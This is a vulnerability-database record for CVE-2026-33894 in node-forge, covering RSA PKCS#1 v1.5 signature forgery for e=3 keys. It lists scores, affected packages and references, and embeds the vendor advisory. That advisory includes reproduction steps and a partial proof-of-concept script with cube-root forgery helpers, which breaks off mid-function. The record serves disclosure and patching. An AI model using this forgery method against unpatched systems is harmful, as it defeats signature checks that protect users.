{"id":"CVE-2026-33894","aliases":["CLSA-2026-1775176134","CLSA-2026-1791467333","EUVD-2026-16834","GHSA-86w9-cpqp-85rv","GHSA-ppp5-5v6c-4jwp","RHSA-2026:24761","UBUNTU-CVE-2026-33894"],"status":"published","title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00481,"percentile":0.41786,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-347"],"published":"2026-03-26T22:02:35Z","modified":"2026-10-28T02:30:56Z","fixes":[{"ecosystem":"npm","package":"node-forge","fixed_in":["1.4.0"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.10.0-tuxcare.0"},{"fixed":"0.10.0-tuxcare.6"}]}],"versions":["0.10.0","0.10.0-tuxcare.1","0.10.0-tuxcare.2","0.10.0-tuxcare.3","0.10.0-tuxcare.4","0.10.0-tuxcare.5"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.3-tuxcare.0"},{"fixed":"1.3.3-tuxcare.2"}]}],"versions":["1.3.3","1.3.3-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"npm","package":"node-forge","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.4.0"}]}],"bundled":2},{"source":"osv","ecosystem":"npm","package":"node-forge","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.0"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-3.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-3.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.29-2.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.29-2.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-6.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-3.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.2.0-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.2.0-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.5~dfsg-2","0.9.1~dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0~dfsg-3","1.2.1~dfsg-2"]}],"products":[{"vendor":"digitalbazaar","product":"forge"},{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 8"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 9"},{"vendor":"red hat","product":"red hat build of apache camel - hawtio 4"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat build of podman desktop"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat developer hub 1.8"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat quay 3.10"},{"vendor":"red hat","product":"red hat quay 3.12"},{"vendor":"red hat","product":"red hat quay 3.14"},{"vendor":"red hat","product":"red hat quay 3.15"},{"vendor":"red hat","product":"red hat quay 3.16"},{"vendor":"red hat","product":"red hat quay 3.17"},{"vendor":"red hat","product":"red hat quay 3.9"}],"references":[{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","tags":["x_refsource_CONFIRM","x_refsource_MISC","Vendor Advisory","advisory","web","article","report"]},{"url":"https://datatracker.ietf.org/doc/html/rfc2313#section-8","tags":["x_refsource_MISC","Third Party Advisory","web","article","report"]},{"url":"https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","tags":["x_refsource_MISC","Third Party Advisory","web","article","report"]},{"url":"https://www.rfc-editor.org/rfc/rfc8017.html","tags":["x_refsource_MISC","Third Party Advisory","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33894","tags":["vdb-entry","x_refsource_REDHAT","advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452464","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33894.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24761","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9742","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13826","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22840","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22629","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21017","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24853","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19375","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22465","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:23361","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33894","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33894.json","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85393.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85393","tags":["advisory"]},{"url":"https://www.vulncheck.com/advisories/node-forge-through-1.4.0-rsa-pkcs-1-1.5-signature-forgery-via-nested-digestalgorithm-padding","tags":["advisory","web"]},{"url":"https://github.com/digitalbazaar/forge/issues/1149","tags":["report","web"]},{"url":"https://github.com/digitalbazaar/forge","tags":["package"]},{"url":"https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/asn1.js","tags":["article","web"]},{"url":"https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/rsa.js","tags":["article","web"]},{"url":"https://github.com/digitalbazaar/forge/pull/1152","tags":["web"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2441268","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442922","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451867","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452450","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452457","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452458","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456179","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456336","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456338","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456339","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456735","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456913","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458856","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_24761.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-62718","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62718","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62718","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc1034#section-3.1","tags":["article"]},{"url":"https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2","tags":["article"]},{"url":"https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df","tags":["article"]},{"url":"https://github.com/axios/axios/pull/10661","tags":["article"]},{"url":"https://github.com/axios/axios/releases/tag/v1.15.0","tags":["article"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4926","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4926","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4926","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7246","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7246","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7246","tags":["advisory"]},{"url":"https://github.com/pallets/click/releases/tag/8.3.3","tags":["article"]},{"url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26996","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-26996","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26996","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5","tags":["article"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27904","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27904","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27904","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-30922","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-30922","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32280","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32280","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32280","tags":["advisory"]},{"url":"https://go.dev/cl/758320","tags":["article"]},{"url":"https://go.dev/issue/78282","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4947","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32282","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32282","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32282","tags":["advisory"]},{"url":"https://go.dev/cl/763761","tags":["article"]},{"url":"https://go.dev/issue/78293","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4864","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32283","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32283","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32283","tags":["advisory"]},{"url":"https://go.dev/cl/763767","tags":["article"]},{"url":"https://go.dev/issue/78334","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4870","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33891","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33891","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33891","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33894","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33895","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33895","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33895","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc8032#section-8.4","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33896","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33896","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33896","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39363","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39363","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39363","tags":["advisory"]},{"url":"https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39892","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39892","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39892","tags":["advisory"]},{"url":"http://www.openwall.com/lists/oss-security/2026/04/08/12","tags":["article"]},{"url":"https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5","tags":["article"]},{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-40192","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-40192","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40192","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/pull/9521","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j","tags":["article"]},{"url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-33894","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33894","title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:45:49.583Z","modified":"2026-09-10T12:04:55.128Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-347","CWE-20","CWE-347"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-16834","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:45:49Z","modified":"2026-09-10T12:04:55Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:25.275283Z"}],"ghsa":[{"id":"GHSA-ppp5-5v6c-4jwp","title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  ","description":"## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst crypto = require('crypto');\nconst forge = require('./forge/lib/index');\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  '300d060960864801650304020105000420',\n  'hex'\n);\n\nconst toBig = b =\u003e BigInt('0x' + (b.toString('hex') || '0'));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = '0' + h;\n  const b = Buffer.from(h, 'hex');\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString('utf8'), 'utf8');\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined 